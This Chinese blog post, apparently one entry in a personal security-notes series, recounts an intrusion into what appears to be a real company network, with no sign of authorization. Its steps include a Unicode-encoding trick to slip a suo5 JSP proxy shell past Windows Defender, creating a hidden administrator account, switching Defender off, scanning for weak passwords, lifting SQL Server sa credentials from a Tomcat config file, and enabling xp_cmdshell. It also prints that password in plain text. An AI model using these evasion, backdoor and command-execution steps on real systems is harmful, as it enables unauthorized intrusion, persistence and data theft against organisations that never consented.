一次丝滑的内网渗透拿下域控
本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
文章目录
- 前文链接
- 前言
- 上线rdp
- 被杀软制裁
- suo5免杀
- 上线
- 内网渗透
- 信息收集
- rdp弱口令
- 配置文件
- 域控
- 终章
前文链接
- WAMP/DVWA/sqli-labs 搭建
- burpsuite工具抓包及Intruder暴力破解的使用
- 目录扫描,请求重发,漏洞扫描等工具的使用
- 网站信息收集及nmap的下载使用
- SQL注入(1)——了解成因和手工注入方法
- SQL注入(2)——各种注入
- SQL注入(3)——SQLMAP
- SQL注入(4)——实战SQL注入拿webshell
- Vulnhub靶机渗透之Me and My Girlfriend
- XSS漏洞
- 文件上传漏洞
- 文件上传绕过
- 文件包含漏洞
- Vulnhub靶机渗透之zico2
- 命令执行漏洞
- 逻辑漏洞(越权访问和支付漏洞)
- 网站后台安全
- weevely的使用及免杀(Linux中的菜刀)
- MSF(1)——一次完整的渗透流程
- WebShell命令执行限制(解决方案)
- 记一次艰难的SQL注入(过安全狗)
- MSF(2)——各种木马的生成及简单的免杀
- MSF(3)——apk和exe的加马(过360、火绒)
- 通过Frp解决实现内网穿透
- 改造冰蝎马,实现免杀之default_aes php
- 使用FofaSpider和Python联动批量挖洞
- 记一次简单的对盗号网站的渗透
- 记一次幸运的漏洞挖掘
- 记一次从外网打通AWS云
- 内网渗透初探
前言
外网打点是怎么拿的就不说了,跟前三篇博客一样。总之得到了一个jsp的webshell,执行cmd失败。

我上一篇博客说是哥斯拉的问题,其实不对,实际上是被Windows Defender制裁了,但是绕过的方法也很简单,把上篇博客的webshell上传上去就好了。
看一眼权限whoami

system,故事的开始总是这么完美。
看看杀软:tasklist /svc

Windows Defender,故事的开始总是有些遗憾。。
上线rdp
被杀软制裁
上一篇博客我是直接用内存注入上线了cs,但这台服务器的wd比较厉害上线不了cs,所以选择上线rdp。
可以查到rdp端口为默认的3389

但是外网无法连通,原因不明。

这边选择走suo5的代理然后用127.0.0.1上线。
直接上传suo5的jsp shell,瞬间被杀。

那还能咋办,免杀呗
suo5免杀
这边选择用Unicode加密的方法进行免杀。
大概的方法就是,jsp代码里边<%!%>围起来的定义片段和<%%>围起来的可执行代码片段,可以整体unicode加密,然后嵌在标识符里,是可以正常解析的。
例如原本的代码是:
<%! public void hello(JspWriter out) throws Exception {out.println("hello world");}
%>
<%hello(out);
%>
可以写成如下的形式,也可以正常解析:
<%! \u0070\u0075\u0062\u006C\u0069\u0063\u0020\u0076\u006F\u0069\u0064\u0020\u0068\u0065\u006C\u006C\u006F\u0028\u004A\u0073\u0070\u0057\u0072\u0069\u0074\u0065\u0072\u0020\u006F\u0075\u0074\u0029\u0020\u0074\u0068\u0072\u006F\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006F\u006E\u0020\u007B\u000A\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006F\u0075\u0074\u002E\u0070\u0072\u0069\u006E\u0074\u006C\u006E\u0028\u0022\u0068\u0065\u006C\u006C\u006F\u0020\u0077\u006F\u0072\u006C\u0064\u0022\u0029\u003B\u000A\u0020\u0020\u0020\u0020\u007D %>
<% \u0068\u0065\u006C\u006C\u006F\u0028\u006F\u0075\u0074\u0029\u003B %>

因此,通过此原理我们可以直接爆改我们的suo5.jsp,实现免杀。
由于代码太长,我这里只放一部分,实战中自己去加密替换就好了,要注意最前边导入的部分不能加密。
<%@ page import="java.nio.ByteBuffer" %><%@ page import="java.io.*" %><%@ page import="java.net.*" %><%@ page import="java.security.cert.X509Certificate" %><%@ page import="java.security.cert.CertificateException" %><%@ page import="javax.net.ssl.*" %><%@ page import="java.util.*" %>
<%! \u0070\u0075\u0062....... %>
<% \u0053\u0075\u006F......%>
直接上传,成功连接

上线
创了一个管理员用户,挂好代理,成功上线rdp
net user tt$ Tt@123456 /add
net localgroup Administrators tt$ /add

先把wd关了,免得坏我好事。

内网渗透
信息收集
ipconfig
systeminfo
把执行结果交给ai,得到如下信息:
| 项目 | 值 | 说明 |
|---|---|---|
| 本机 IP | 192.168.1.182 | 有线网卡 IPv4 地址,用于局域网访问 |
| 内网网段 | 192.168.1.0/24 | 对应子网掩码 255.255.255.0,可用 IP 范围 192.168.1.1–192.168.1.254 |
| 当前域 | 用的域名,不能放 | 本机加入的域 |
| 域中权限 | 域成员工作站 (Member Workstation) | 不是域控制器,属于普通域成员,无管理整个域的权限 |
查一下域控是谁:echo %logonserver%

域控是C32
查一下域控IP:ping -4 C32
这个-4表示强制使用Ipv4IP

域控IP是192.168.1.44
rdp弱口令
传了个FScan2上去扫内网:FScan_2.0.1_windows_x64.exe.exe -h 192.168.1.0/24
发现了一个SMB的弱口令。

| 项目 | 值 |
|---|---|
| IP | 192.168.1.21 |
| 用户名 | administrator |
| 密码 | Admin@123 |
我试了一下,smb登录不上,但是rdp可以登录上,不知道走运还是倒霉。

不管怎么说,rdp+1
配置文件
因为我是从Tomcat进的内网,所以习惯性的翻看一下Tomcat webapps目录下别的web项目的配置文件,说不定就会有有价值的信息。
在E:\tomcat_7_64Bit\webapps\Commodities_New\WEB-INF\classes目录下发现application.properties文件,使用记事本查看内容。

有邮箱的账号密码,还有更重要的,SQL Server sa的账号密码,而这目标服务器,C32,不就是域控吗?有了sa的账号密码不是直接拿下了吗?
域控
直接使用sqlcmd连接,开xp_cmdshell,执行指令。
C:\WINDOWS\system32>sqlcmd -S 192.168.1.44,1433 -U sa -P DBa@chegus16
1> EXEC sp_configure 'show advanced options', 1;
2> RECONFIGURE;
3> EXEC sp_configure 'xp_cmdshell', 1;
4> RECONFIGURE;
5> EXEC xp_cmdshell 'whoami';
6> GO

mssqlserver的权限,问题不大,尝试提权。
使用MUDT工具,方便操作。

看看杀软

WD。。有点棘手。
终章
后来发现,C32上的用户和我当前设备上的用户一样,文件夹和文件夹也一样。我仔细查看了systeminfo的内容,发现我当前设备就叫C32。。。
愚蠢的ChatGPT。
不管怎么样,反正拿下了域控,关机下班、
